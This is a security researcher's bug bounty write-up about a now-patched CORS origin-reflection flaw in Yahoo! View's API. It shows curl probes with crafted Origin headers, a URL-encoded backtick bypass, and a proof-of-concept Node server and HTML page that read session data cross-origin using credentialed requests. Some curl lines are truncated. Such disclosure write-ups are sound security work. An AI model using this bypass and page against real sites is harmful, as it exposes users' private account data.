Tricky CORS Bypass in Yahoo! View

Corben Leo
November 27, 2017

Recently, HackerOne hosted their second Hack The World competition. During this time I decided to take a look at Yahoo's bug bounty program because I have heard good things about them and also due to the fact that their scope is pretty big. After finding a few issues in my.yahoo.com and getting paid for those, I decided I was going to test Yahoo! View

I decided to browse a bit on https://view.yahoo.com and look at what requests were being made. After about 2 minutes of clicking literally everything I could click and submitting as many forms as I could, I decided to look through everything Burp Suite logged.

I saw that the applicaiton making API calls to https://api.view.yahoo.com and thanks to Burp Suite’s passive monitoring, I also noticed that the application implemented a cross-origin resource sharing (CORS) policy.

According to the MDN Web Docs, CORS “is a mechanism that uses additional HTTP headers to let a user agent gain permission to access selected resources from a server on a different origin (domain) than the site currently in use.”

Since browsers enforce a Same-Origin Policy, which means that it only accepts ajax requests from accessing data from the same domain, Cross-Origin Resource Sharing allows sharing data with other sites that can be specified.

The initial request I saw in Burp’s history was:

```
GET /api/session/preferences HTTP/1.1
Host: api.view.yahoo.com
-------- snip --------
origin: https://view.yahoo.com
```

and the server’s response was:

```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
-------- snip --------
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://view.yahoo.com
```

Since the server was reflecting the origin and with `Access-Control-Allow-Credentials)` set to `true`, if I could get the origin to be allowed, then I could steal data from the API.

First, I tried just sending a the origin `corben.io`:

```
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin
```

The server responded without the Allow-Origin and Allow-Credentials.

Next, I tried sending view.corben.io as the origin:

```
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin
```

Still nothing.

An idea came to mind, what if I tried view.yahoo.com.corben.io?

```
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin
```

Voila! Still **DID NOT** respond with the Allow-Origin or ACAC. I had one more payload in mind: view.yahoo.comcorben.io. I sent it and to my dismay, nothing had changed.

I was about to give up when I came up with the idea to send *two domains* in the origin header:

```
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin
```

To my surprise the server responded with:

```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
-------- snip -------
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://view.yahoo.com corben.io
```

I was intrigued and was trying to come up with a way that I could make this a valid domain name so I could exploit it. I tried adding some characters to replace the space between the two domains to see what the server responded with!

```
-vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: http
```

Response:

```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
-------- snip -------
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://view.yahoo.com%corben.io
```

This still wasn't exploitable because it wasn't valid.

After a bit of asking around, Matt Austin linked me to one of his HackerOne Reports to Brave Software.

I decided to try using a **URL-Encoded backtick** / %60 since I saw it would be a valid subdomain (from his report) and I already saw that the origin was reflected when there was a percent sign.
I sent:

```
'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://\
```

The server’s response:

```
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://view.yahoo.com%60cdl.corben.io
```

Yes, it worked! I set up a wildcard on one of my domains in Route53. I opened up Firefox and visited http://view.yahoo.com%60cdl.hack-r.be and it didn’t load! Yay, more problems. I tried in Chrome, IE, & Edge and it didn’t work in them either. I got to a Mac and tried it in **Safari** and it finally worked!! HOWEVER, Apache decided it didn’t like the request and to keep throwing a server error.

After playing around I decided to just create a simple server in NodeJS to serve my exploit page.

Contents of `server.js`:

```
const http = require('http')
const port = 6299
const fs = require("fs");


const requestHandler = (request, response) => {
  fs.readFile("index.html", function(err, data){
  response.writeHead(200, {'Content-Type': 'text/html'});
  response.write(data);
  response.end();
});
}

const server = http.createServer(requestHandler)

server.listen(port, (err) => {
  if (err) {
    return console.log('[+] ruh roh! something went wrong :(', err)
  }

  console.log(`[+] server is listening on port ${port}`)
})
```

and contents of **`index.html`**:

```
<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body>
<center>
<h2>Yahoo CORs Exploit</h2>

<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
<button type="button" onclick="cors()">Exploit</button>
```

```
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("pwnz").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "http://api.view.yahoo.com/api/session/preferences"
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
```

I ran it and tried loading the page again in Safari and it loaded perfectly. I clicked the “Exploit” button and it retrieved the data from the vulnerable API! woot woot!

Here’s the proof of concept video:

Timeline

- (10/24/2017) Reported to Yahoo! via HackerOne
- (10/27/2017) Confirmed & awarded $100 on Triage
- (11/20/2017) Vulnerability Patched
- (12/1/2017) Awarded $400 bounty + a $100 bonus for a “great writeup and POC” (-Yahoo)

Although it was a low impact bug, it was definitely a learning experience and a fun challenge!

Thanks for reading,

Corben Leo

- https://twitter.com/hacker_
- https://hackerone.com/cdl
- https://bugcrowd.com/c
- https://github.com/lc